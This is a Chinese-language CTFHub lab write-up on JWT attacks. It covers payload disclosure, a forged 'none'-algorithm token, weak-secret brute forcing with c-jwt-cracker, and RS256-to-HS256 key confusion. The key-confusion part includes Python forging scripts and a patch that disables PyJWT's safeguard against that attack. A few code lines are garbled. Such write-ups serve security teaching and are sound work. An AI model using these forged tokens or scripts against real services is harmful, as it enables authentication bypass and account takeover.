CTFHUB JWT(Json Web Token)

官方解释链接:JWT基础知识

目录

什么是JWT(基础知识)

JWT 的原理

JWT 的数据结构

Header

Payload

Signature

<1> 敏感信息泄露

 <2> none算法(无签名)

<3> 弱密钥(c-jwt-cracker爆破密钥)

<4> 修改签名算法


什么是JWT(基础知识)

Json Web Token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519。

该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景,是目前最流行的跨域认证解决方案。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

JWT 的原理

JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。

{
  "姓名": "张三",
  "角色": "管理员",
  "到期时间": "2018年7月1日0点0分"
}

        以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。

        服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展

JWT 的数据结构

实际当中 JWT 长这个样子:

CTFHUB JWT(Json Web Token)_第1张图片

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0.Y2PuC-D6SfCRpsPN19_1Sb4WPJNkJr7lhG6YzA8-9OQ

它是一个很长的字符串,中间用点(.)分隔成三个部分。注意,JWT 内部是没有换行的

JWT 的三个部分依次如下:

  • Header(头部)
  • Payload(负载)
  • Signature(签名)

写成一行,就是下面的样子。

Header.Payload.Signature

每个部分最后都会使用 base64URLEncode方式进行编码

#!/usr/bin/env python
function base64url_encode($data) {
    return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
} 

CTFHUB JWT(Json Web Token)_第2张图片

Header 部分是一个 JSON 对象,描述 JWT 的元数据,以上面的例子,使用 base64decode 之后:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
{
  "alg": "HS256",
  "typ": "JWT"
}

header部分最常用的两个字段是alg和typ

alg属性表示token签名的算法(algorithm),最常用的为HMAC和RSA算法

typ属性表示这个token的类型(type),JWT 令牌统一写为JWT。

Payload

Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。

  • iss (issuer):签发人
  • exp (expiration time):过期时间
  • sub (subject):主题
  • aud (audience):受众
  • nbf (Not Before):生效时间
  • iat (Issued At):签发时间
  • jti (JWT ID):编号

除了官方字段,还可以在这个部分定义私有字段,以上面的例子为例,将 payload 部分解 base64 之后:

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0
{
  "sub": "1234567890",
  "name": "CTFHub",
  "iat": 1516239022
}

注意:JWT 默认是不会对 Payload 加密的,也就意味着任何人都可以读到这部分JSON的内容,所以不要将私密的信息放在这个部分

Signature

Signature 部分是对前两部分的签名,防止数据篡改

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。

<1> 敏感信息泄露

        JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露

CTFHUB JWT(Json Web Token)_第3张图片

 抓个包,找到登录的Token字段 解密查看一下 Header和Payload的内容

CTFHUB JWT(Json Web Token)_第4张图片

 <2> none算法(无签名)

        一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证

CTFHUB JWT(Json Web Token)_第5张图片

        我们解密一下,把hs256加密改为none、把guest改为admin。然后分别base64加密.连接即heaaders.payload.因为没有加密所以后面的签名为空

payload:eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0K.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

得到flag:

CTFHUB JWT(Json Web Token)_第6张图片

<3> 弱密钥(c-jwt-cracker爆破密钥)

        如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥

        签名部分是(HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret) 如果前面的header和payload做出更改的话,签名认证也会随之更改。 同时,在使用不同的密钥对头部信息和载荷进行加密时,所产生的JWT是不一样的

 git clone https://github.com/brendan-rius/c-jwt-cracker.git

需要用到一个 c-jwt-cracker 工具

直接跑密钥:./make eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.8dm0QPN_TX8BCfAbILEv-b0vJ5WB6n4yF3HgYWpODQg

 得到密钥 rnbx

根据密钥,修改role为admin 构造JWT

CTFHUB JWT(Json Web Token)_第7张图片

 修改cookie的token值为构造的JWT 得到flag

CTFHUB JWT(Json Web Token)_第8张图片

<4> 修改签名算法

        有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的.

alg, $alg));
      return JWT::decode($token, $key, $algs);
    } catch(Exception $e){
      return false;
    }
    }
    public static function getHeader($jwt) {
        $tks = explode('.', $jwt);
        list($headb64, $bodyb64, $cryptob64) = $tks;
        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
        return $header;
    }
}

$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!empty($_POST['username']) && !empty($_POST['password'])) {
        $token = "";
        if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
            $jwt_payload = array(
                'username' => $_POST['username'],
                'role'=> 'admin',
            );
            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
        } else {
            $jwt_payload = array(
                'username' => $_POST['username'],
                'role'=> 'guest',
            );
            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
        }
        @setcookie("token", $token, time()+1800);
        header("Location: /index.php");
        exit();
    } else {
        @setcookie("token", "");
        header("Location: /index.php");
        exit();
    }
} else {
    if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
        $obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
        if ($obj->role === 'admin') {
            echo $FLAG;
        }
    } else {
        show_source(__FILE__);
    }
}
?>

        本质上就是通过对公钥使用对称算法加密,并且是在GET模式下提交的数据包。为了输出这个flag,就要进入else语句,既然如此token就不能为空,然后对token使用公钥解码,并且它的role字段对应的值为admin。然后看到decode函数这里它本质上使用的还是JWT上的编码的方法,使用的的KEY值是PUBLIC_KEY,也就是题目给出的提示公钥,发现在 JWTHelper类中,decode()、encode()默认的加密解密方式都为“HS256”根据这个条件我们需要编写一个python代码来生成token。

尝试登录,把token放到 decode JWT上发现是RS256加密

CTFHUB JWT(Json Web Token)_第9张图片

 公钥:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu/Nwij6LAafWU9QjVe8A
vOgufRZWVTVveRRJ44e5osZG0j6JJAM8krRcYT+E6NsbBFu9/d//Tqd/u94QztJ0
yp+aKy0XkKjZLaoIU48py5NpZxAhBMeBQUMRbKZB5U/ovW9GPQbzs0iZuf+mHHtQ
22lWqlGvw1vvm2Be/BkES7j9ZPgAeGtrT9qYq2uR3a4AIbtJ1Tw4QE1iOzYJ158T
vsNtd/cNKhLFlzisos7Xi23rPufbE2Pht6woIrcRHSJFKLDyYDZHjO3Kdy8GuAse
so6wP2L2jMhVeQ9l87y+9owb3bsT5sXViaUG5mpUm8h14d+j4IGtriIGGSe2UESt
PwIDAQAB
-----END PUBLIC KEY-----

import jwt
import base64


public = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu/Nwij6LAafWU9QjVe8A
vOgufRZWVTVveRRJ44e5osZG0j6JJAM8krRcYT+E6NsbBFu9/d//Tqd/u94QztJ0
yp+aKy0XkKjZLaoIU48py5NpZxAhBMeBQUMRbKZB5U/ovW9GPQbzs0iZuf+mHHtQ
22lWqlGvw1vvm2Be/BkES7j9ZPgAeGtrT9qYq2uR3a4AIbtJ1Tw4QE1iOzYJ158T
vsNtd/cNKhLFlzisos7Xi23rPufbE2Pht6woIrcRHSJFKLDyYDZHjO3Kdy8GuAse
so6wP2L2jMhVeQ9l87y+9owb3bsT5sXViaUG5mpUm8h14d+j4IGtriIGGSe2UESt
PwIDAQAB
-----END PUBLIC KEY-----"""


payload={
  "username": "admin",
  "role": "admin"
}
print(jwt.encode(payload, key=public, algorithm='HS256'))

CTFHUB JWT(Json Web Token)_第10张图片

报错: jwt报错无encode属性。百度搜索得知,是由于PyJWT和JWT同时存在,导入jwt模块时出现混淆。

  解决方法:pip uninstall jwt  pip install PyJWT 即可

然后又出现下下面的错误

CTFHUB JWT(Json Web Token)_第11张图片

  解决方法:linux下 找到JWT包的位置  /usr/lib/python3/dist-packages/jwt/
vim打开algorithms.py

打开之后,加上这一句:invalid_strings=[]

CTFHUB JWT(Json Web Token)_第12张图片

 继续删除  rm -rf __pycache__

即可正常执行,返回构造好的JWT,结果放到cookie里

 还有一个另一位师傅的脚本:

# coding=GBK
import hmac
import hashlib
import base64

file = open('publickey.pem')    #需要将文中的publickey下载	与脚本同目录
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)


你可能感兴趣的:(CTFHub技能树,json)